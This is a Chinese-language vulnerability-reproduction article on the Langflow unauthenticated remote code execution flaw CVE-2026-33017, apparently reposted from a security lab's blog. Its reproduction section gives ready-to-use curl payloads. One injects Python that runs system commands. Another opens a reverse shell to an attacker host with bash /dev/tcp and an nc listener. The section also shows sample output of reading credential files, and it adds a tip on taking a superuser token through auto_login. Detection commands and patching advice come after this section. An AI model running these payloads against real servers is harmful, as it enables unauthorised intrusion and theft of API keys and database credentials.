文章总结: 本文详细分析了Langflow未授权远程代码执行漏洞CVE-2026-33017,该漏洞CVSS评分9.3分且已被野外利用。攻击者无需认证即可通过向buildpublictmp接口发送恶意flow数据执行任意系统命令。文档提供了完整漏洞原理分析、环境搭建方法、复现步骤包括命令执行和反弹Shell,并给出检测方法和修复建议(立即升级至1.9.0版本或实施网络隔离)。 综合评分: 92 文章分类: 漏洞分析,应急响应,漏洞预警,WEB安全,云安全
【漏洞复现】Langflow 未授权远程代码执行(CVE-2026-33017)
原创
xuzhiyang xuzhiyang
玄武盾网络技术实验室
2026年3月30日 10:46 江西
在小说阅读器读本章
去阅读
⚠️ *免责声明:本文仅供安全研究与学习之用,严禁使用本内容进行未经授权的违规渗透测试,遵守网络安全法,共同维护网络安全,违者后果自负。
每日资源分享:泛微E-cology9 SQL 注入漏洞批量检测工具
更多资源访问:www.xwdjs.ysepan.com
正文
🔴 高危预警野外已利用CISA KEV 收录披露时间:2026-03-27 | CVSS 9.3 · Critical | 修复版本:1.9.0 |
0x00 事件概述
2026年3月,Langflow 被发现存在未授权远程代码执行漏洞,编号 CVE-2026-33017,CVSS 评分 9.3。
漏洞披露后 20小时内即遭野外利用,CISA 已将其收录至 KEV(已知被利用漏洞)目录,要求 2026年4月8日前完成修复。
⚡ 攻击者无需任何认证,直接向公开 API 端点发送一个携带恶意 flow 数据的 POST 请求,即可在服务器上执行任意系统命令。
0x01 漏洞信息
| 属性 | 值 | | — | — | | CVE 编号 | CVE-2026-33017 | | CVSS 评分 | 9.3 · Critical | | 影响版本 | < 1.9.0 | | 修复版本 | ≥ 1.9.0 | | 利用状态 | 🔥 野外已被利用 | | CISA KEV | ✅ 已收录,处置期限 2026-04-08 | | 漏洞类型 | 认证缺失 + 代码注入(CWE-306 / CWE-94) |
0x02 什么是 Langflow
Langflow 是目前最流行的低代码 AI 工作流构建平台,支持拖拽式可视化界面,可接入 OpenAI、Anthropic、Azure 等主流大模型,并集成 Pinecone、Milvus 等向量数据库,被大量企业用于构建 RAG 应用、Agent 工作流和 MCP 工具服务。
正因其广泛的数据源集成能力(GitHub、Gmail、Notion、数据库等),一旦被攻破,攻击者可直接接触到企业核心数据和 API 凭证。
0x03 漏洞原理
问题端点:
POST /api/v1/build_public_tmp/{flow_id}/flow
该端点原本设计为无需认证(用于 public flow 场景),但存在以下缺陷:
当请求携带可选的 data 参数时,服务端直接使用攻击者提供的 flow 数据,而非从数据库加载合法数据。攻击者可在 flow 节点中嵌入任意 Python 代码,服务端通过 exec() 执行,且没有任何沙箱限制。
漏洞代码(简化):
# src/backend/base/langflow/api/v1/chat.py # ❌ 漏洞版本 @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( flow_id: uuid.UUID, data: FlowDataRequest | None, # 可选参数 # ❌ 无需任何认证 ): ... # ✅ 修复版本(1.9.0) @router.post("/build/{flow_id}/flow") async def build_flow( flow_id: uuid.UUID, data: FlowDataRequest | None, current_user: CurrentActiveUser, # ✅ 强制认证 ):
完整执行链:
data 参数 → start_flow_build() → generate_flow_events() → create_graph() → build_graph_from_data() → Graph.from_payload() → vertex.instantiate_component() → eval_custom_component_code() → exec(compiled_code, exec_globals) # 零沙箱执行!
CVSS 向量解读:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L AV:N — 网络可利用(无需物理接触) AC:L — 攻击复杂度低 PR:N — 无需任何权限 UI:N — 无需用户交互 VC/VI/VA:H — 机密性/完整性/可用性全部高危。
0x04 环境搭建
# 方式一:Docker(推荐) docker run -p 7860:7860 langflowai/langflow:1.8.1 # 方式二:pip pip install langflow==1.8.1 python -m langflow run --host 0.0.0.0 --port 7860
启动后访问 http://localhost:7860,创建一个 Flow 并设置为 Public(共享),从分享链接中获取 Flow UUID。
💡 若目标开启了 AUTOLOGIN=true(默认配置),可先请求 /api/v1/auto_login 获取 superuser token,无需 Flow UUID 即可利用。
0x05 漏洞复现
Step 1命令执行验证
FLOW_ID="your-flow-uuid-here" curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "data": { "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "value": "import os\n_x = os.popen(\"id && whoami && hostname\").read()\nopen(\"/tmp/pwned\",\"w\").write(_x)" } } } } }] } }'
执行后检查 /tmp/pwned 文件是否写入,确认 RCE 成功。
Step 2反弹 Shell
# 攻击机开启监听 nc -lvnp 4444
# 发送反弹 Shell Payload curl -X POST "http://target:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -d '{ "data": { "nodes": [{ "id": "Shell-001", "type": "genericNode", "data": { "type": "ShellComp", "node": { "template": { "code": { "type": "code", "value": "import subprocess\nsubprocess.Popen([\"bash\",\"-c\",\"bash -i >& /dev/tcp/192.168.1.100/4444 0>&1\"])" } } } } }] } }'
Step 3获取 Shell
listening on [any] 4444 ... connect to [192.168.1.100] from (UNKNOWN) [target] 51203 bash: no job control in this shell [langflow@server ~]$ id uid=1000(langflow) gid=1000(langflow) [langflow@server ~]$ cat /root/.env OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxxxxx ANTHROPIC_API_KEY=sk-ant-xxxxxxxxxxxxxxxx DATABASE_URL=postgresql://admin:p@ssw0rd@db:5432/prod
✅ 成功获取服务器 Shell,读取到 OpenAI / Anthropic API Key 及数据库连接凭证。
0x06 与 CVE-2025-3248 的区别
| CVE | 漏洞端点 | 修复方式 |
| — | — | — |
| CVE-2025-3248 | /api/v1/validate/code | 添加认证 |
| CVE-2026-33017 | /api/v1/build_public_tmp/{flow_id}/flow | 从公开端点移除 data 参数 |
CVE-2026-33017 的修复更复杂:该端点本应无需认证(public flow 场景),不能简单加认证,真正的修复是从公开端点完全移除 data 参数,强制服务端只使用数据库中的合法 flow 数据。
0x07 检测是否已被攻击
# 检查 Langflow 版本 pip show langflow # 搜索访问日志中的可疑请求 grep "build_public_tmp" /var/log/langflow.log grep "build_public_tmp" /var/log/nginx/access.log # 检查可疑文件 ls -la /tmp/pwned 2>/dev/null && echo "[!] 可能已被利用" # 检查异常进程 ps aux | grep -E "(nc|bash -i|/dev/tcp)"
0x08 修复建议
方案一(强烈推荐):立即升级
pip install --upgrade "langflow>=1.9.0" # 验证版本 python -c "import langflow; print(langflow.__version__)"
方案二:网络隔离(临时缓解)
# 仅允许内网访问 Langflow 端口 iptables -A INPUT -p tcp --dport 7860 -s 10.0.0.0/8 -j ACCEPT iptables -A INPUT -p tcp --dport 7860 -j DROP
方案三:Docker 部署隔离
# 仅绑定本地回环,通过反向代理加认证后对外暴露 docker run -p 127.0.0.1:7860:7860 langflowai/langflow:1.9.0
0x09 总结
AI 正在进入企业的方方面面,低代码 AI 工作流平台降低了技术门槛,但也带来了新的攻击面。Langflow 在短短数月内已出现两个 CVSS 9+ 的未授权 RCE 漏洞(CVE-2025-3248 和 CVE-2026-33017),且均在披露后极短时间内遭到野外利用。
对于使用 Langflow 的团队,核心建议只有一条:不要将 Langflow 直接暴露在公网,升级到最新版本,并定期审计已配置的 API Key 和数据库凭证。
📎 参考链接:
· GitHub Advisory: https://github.com/advisories/GHSA-rvqx-wpfh-mfx7
· CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
· NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33017
· Langflow 1.9.0 Release: https://github.com/langflow-ai/langflow/releases/tag/1.9.0
⚠️ 再次免责声明:本文所有复现操作均在授权测试环境中进行,相关技术仅供安全研究与学习参考。请勿将上述内容用于未授权渗透测试或任何违法活动,否则后果自负。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄武盾网络技术实验室 xuzhiyang xuzhiyang《【漏洞复现】Langflow 未授权远程代码执行(CVE-2026-33017)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论